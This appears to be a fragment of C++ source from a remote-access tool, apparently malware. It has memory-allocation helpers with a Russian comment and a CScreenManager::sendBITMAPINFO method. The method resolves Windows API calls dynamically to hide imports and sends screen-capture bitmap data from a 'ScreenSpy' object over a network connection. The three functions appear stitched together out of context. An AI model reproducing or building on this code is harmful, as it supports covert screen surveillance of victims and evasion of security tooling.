LPVOID MemAllocAndClear(DWORD Size) { // Выделить и очистить память указанного размера if (Size == 0) return NULL; void* Memory = pVirtualAlloc(0, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); m_memset(Memory, 0, Size); //if (Memory != NULL) //{ // DWORD Symbol = 0; // __asm // { // pushad // mov edi, [Memory] // mov ecx, [Size] // mov eax, [Symbol] // rep stosb // popad // } // } return Memory; }
void CScreenManager::sendBITMAPINFO() { typedef BOOL (WINAPI *VirtualFreeT) ( __in LPVOID lpAddress, __in SIZE_T dwSize, __in DWORD dwFreeType ); VirtualFreeT pVirtualFree = (VirtualFreeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"VirtualFree"); typedef LPVOID (WINAPI *VirtualAllocT)( __in_opt LPVOID lpAddress, __in SIZE_T dwSize, __in DWORD flAllocationType, __in DWORD flProtect ); VirtualAllocT pVirtualAlloc=(VirtualAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"VirtualAlloc"); DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize(); LPBYTE lpBuffer = (LPBYTE)pVirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE); lpBuffer[0] = TOKEN_BITMAPINFO; memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1); Send(lpBuffer, dwBytesLength); pVirtualFree(lpBuffer, 0, MEM_RELEASE); }
LPVOID MemAlloc( DWORD dwSize ) { LPVOID lpRet = pVirtualAlloc( 0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); return lpRet; }